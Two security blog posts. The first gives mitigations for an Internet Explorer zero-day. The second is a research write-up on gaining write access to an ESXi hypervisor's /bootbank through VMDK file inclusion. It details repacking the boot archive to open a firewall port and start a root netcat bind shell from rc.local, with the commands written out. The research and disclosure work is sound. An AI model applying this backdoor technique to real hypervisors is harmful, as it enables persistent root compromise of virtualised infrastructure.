Microsoft Advisory 2757760: Windows Internet Explorer Zero-Day Vulnerability

Actually a Windows Vulnerability (Microsoft Advisory 2757760) related to the Internet Explorer Version 7, 8 and 9 is in the news. Microsoft is aware of the problem, but there’s no patch available yet. We call this a 0-Day :-). Making the problem even worse, on monday reliable exploit code was released within the Metasploit project, so exploit code is already in the wild.

Basically Microsoft suggests two workarounds:

But both of them have some impact: EMET must be deployed before any usage (btw. EMET can be configured via Group Policies) and disabling Active X and Active Scripting might break some business relevant web sites (that can be added to the “Trusted Sites” Zone, but might produce major operational effort).

There are more possible mitigating controls, so let’s just summarize some ideas:

  • Use of alternative browser: if you have it deployed already, go for it :-). Otherwise we have the same deployment issue as with EMET.
  • Sandboxing/Application Virtualization: It’s the same as with the alternate browser, of you have it, go for it, otherwise it will be a long term project. And be aware that also Application Virtualization won’t address all issues (see the ERNW Newsletter 32 for details).
  • No local admin rights: This doesn’t protect from exploiting the vulnerability, but at least reduces the impact. We strictly recommend to check the local administrator group and remove all users that don’t rely on it for fulfilling their business tasks. And btw. this topic is not new ;-), see also ERNW Newsletter 4, published in 2004!
  • Blocking communication for the clients at the corporate firewall: Be aware that this doesn’t really work. Modern exploit code is able to use the corporate proxy infrastructure including authentication to circumvent this control. Metasploit has exploit payloads for this.
  • Disabling/Blocking Flash content: While potentially not strictly required for exploitation, at least in some of the exploits currently observed in the wild Adobe Flash plays a major role. So like discussed in  these Insinuator posts (1, 2 and 3), restricting the use of Adobe Flash would proactively prevent some known exploits from working. But the newly published Metasploit exploit doesn’t use Flash, so keep  in mind that this mitigating control can only be used in addition to other ones.

So for a short term mitigation we recommend the following (especially for corporate environments)

  1. Disabling Active X and Active Scripting via Group Policies
  2. Disable/block Flash content
  3. Remove unneeded local administrative privileges
  4. If available use alternative browser or EMET

For long term mitigation (might also be feasible in small environments as short term mitigation):

  1. Deploy EMET
  2. Evaluate possibilities of application sandboxing/virtualization
  3. Deploy alternative browser. Be aware that deploying a second browser might not be an option for big corporate environments (central management and supporting/maintaining additional software are the main reasons for this).

And finally DON’T PANIC ;-), start to address the problem in a professional way.

Hope that helps a bit

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VMDK Has Left the Building – Write Access

In our last series of posts regarding the VMDK file inclusion attack, we focused on read access and prerequisites for the attack, but avoided stating too much about potential write access. But as we promised to cover write access in the course of our future research, the following post will describe our latest research results.

First of all, the same prerequisites (which will be refined a little bit more later on) as for read access must be fulfilled and the same steps have to be performed in order to carry out the attack successfully. If that is the case, there are several POIs (Partitions Of Interest) on a ESXi hypervisor that are interesting to include:

  • /bootbank → contains several archives which build the hypervisors filesystem once they are unpacked
  • /altbootbank → backup of the prior version of bootbank, e.g. copied before a firmware update
  • /scratch → mainly log files and core dumps stored here
  • /vmfs/volumes/datastoreX → storage for virtual machine files

The root filesystem is stored on a ramdisk which is populated at boot time using the archives stored in the bootbank partition. As this means that there is no actual root partition (since it is generated dynamically at boot time and there is no such thing like a device descriptor for the ramdisk), this excludes the root file system from our attack tree, at least at first sight.

While trying to write to different partitions, we noticed that the writing sometimes fails. Evaluating the reason for the failure, we also noticed that this is only the case for certain partitions, such as /scratch. After monitoring the specific write process, we noticed the following errors:

Virtual Machine:

attx kernel: [93.238762] sd 0:0:0:0: [sda] Unhandled sense code
attx kernel: [93.238767] sd 0:0:0:0: [sda]  Result: hostbyte=invalid
attx kernel: [93.238771] sd 0:0:0:0: [sda]  Sense Key : Data Protect [current]
attx kernel: [93.238776] sd 0:0:0:0: [sda]  Add. Sense: No additional sense information
attx kernel: [93.238780] sd 0:0:0:0: [sda] CDB: Write(10): 2a 00 02 04 bd 20 00 00 08 00
attx kernel: [93.238790] end_request: critical target error, dev sda, sector 33864992
attx kernel: [93.239029] Buffer I/O error on device sda, logical block 4233124
attx kernel: [93.239181] lost page write due to I/O error on sda


cpu0:2157)WARNING: NMP: nmpDeviceTaskMgmt:2210:Attempt to issue lun reset on device
                        naa.600508b1001ca97740cc02561658c136. This will clear any
                        SCSI-2 reservations on the device.
cpu0:2157)<4>hpsa 0000:05:00.0: resetting device 6:0:0:1
cpu0:2157)<4>hpsa 0000:05:00.0: device is ready

Assuming that the hypervisor hard drive is not broken for exactly the cases we try to write from within a guest machine, we performed further tests (using various bash scripts and endless writing loops) and found out that this error occurs when the hypervisor and a guest machine are trying to write at the same time to the same device. Due to the fact that the hypervisor continuously writes log files to the /scratch file system and generates all kind of I/O to the /vmfs data stores (due to the running virtual machines stored on that partition), it was not possible to write to those devices in a reliable way.

Fortunately (at least from an attacker’s point of view 😉 ) the remaining partitions, /bootbank and /altbootbank, are only accessed at boot time and it is hence possible to write to those partitions in a reliable way. At that point, the initially mentioned fact about the lacking root partition gets important again: As the root partition would be the first and most promising target of write access, it would most probably also be locked by the hypervisor as there might also be different files that would be written on periodically. So when we were searching for a way to write to the dynamically generated root partition, we came up with the following steps:

  • Include the device holding the /bootbank partition.
  • Write to the /bootbank partition.
  • Wait for the hypervisor to reboot (or perform the potential DoS attack we identified, which will be described in a future post).
  • Enjoy the files from the /bootbank partition being populated to the dynamically created root partition.

The last step is of particular relevance. /bootbank holds several files that contain archives of system-critical files and directories of the ESXi hypervisor. For example the /bootbank/s.v00 contains an archive of the directories and files, including parts of /etc.  The hypervisor restores the particular directories (such as /etc) at startup from the files stored in /bootbank. As we are able to write files to /bootbank, it is possible to replace contents of /bootbank/s.v00 and thus contents of /etc of the hypervisor ramdisk. In order to make sure that certain files in /etc are replaced, we can access the file /bootbank/boot.cfg which holds a list of archives which get extracted at boot time. As we have all necessary information to write to the root partition of the hypervisor, these are the steps to be performed:

  • Obtain /bootbank archive, in this example /bootbank/s.v00, using the well-known attack vector.
  • Convert/extract archive: The archives in /bootbank are packed with a special version of tar which is incompatible with the GNU tar. However this vmtar version can be ported to a GNU/Linux by copying the vmtar binary and from any ESXi installation.
  • Modify or add files.
  • Repack the archive.
  • Deploy the modified archive to /bootbank using the write access.

Following this generic process, we were able to install a backdoor on our ESXi5 hypervisor. In a first step, we opened a port in the ESXi firewall (which has a drop-all policy) as we wanted to deploy a bind shell (even though we could have used a connect-back shell instead, but we also want to demonstrate that is possible to modify system-critical settings). The firewall is configured by xml files stored in /etc/vmware/firewall. These xml files are built as follows:

  <service id='0000'>
    <rule id='0000'>

The xml format is kind of self-explanatory. Every service has a unique identifier id, and can have inbound and outbound rules. To enable the rule on system boot the enabled field has to be set to true.

Based on this schema it is easy to deploy a new firewall rule. Simply place a new xml file to /etc/vmware/firewall in the archive which will be written to the bootbank later on.

For example to open port 42000:

  <service id="0000">
    <id>remote Bind Shell</id>
    <rule id="0000">

This ruleset will be applied the next time the hypervisor reboots, after overwriting one of the archives in bootbank with our altered one.

The next step is to bind a shell to the opened port. Unfortunately the netcat installed per default on the hypervisor is not capable of the “-e” option, which executes a command after an established connection. The most basic netcat bind shell just listens on a port and forwards all input to the binary specified by the -e switch:

netcat -l -p 4444 -e /bin/sh.

Luckily the netcat version of 32bit BackTrack distribution is compatible with the ESXi platform and supports the -e switch. After copying this binary to the hypervisor, we just need to make sure that the backdoor is started during the boot process by adding the following line to /etc/rc.local:

/etc/netcat –l –p 4444 –e /bin/sh &

Next time the hypervisor starts, a remote shell will listen on port 4444 with root privileges. The following steps summarize the process of fully compromising the ESXi hypervisor:

  • Include the /bootbank partition using our well-known attack path
  • Unpack /bootbank/s.v00
  • Add our bind shell port to the firewall by adding the described file to /path/to/extracted/etc/vmware/firewall
  • Add the netcat binary to /path/to/extracted/etc/nc
  • Add the above line to  /path/to/extracted/etc/rc.local
  • Wait for the next reboot of the hypervisor (or our post on the potential DoS 😉 )

At the end of the day, this means that once attacker is able to upload VMDK files to an ESXi environment (in a way that fulfills the stated requirements), it is possible to alter the configuration of the underlying hypervisor and even to install a backdoor which grants command line access.



Pascal & Matthias

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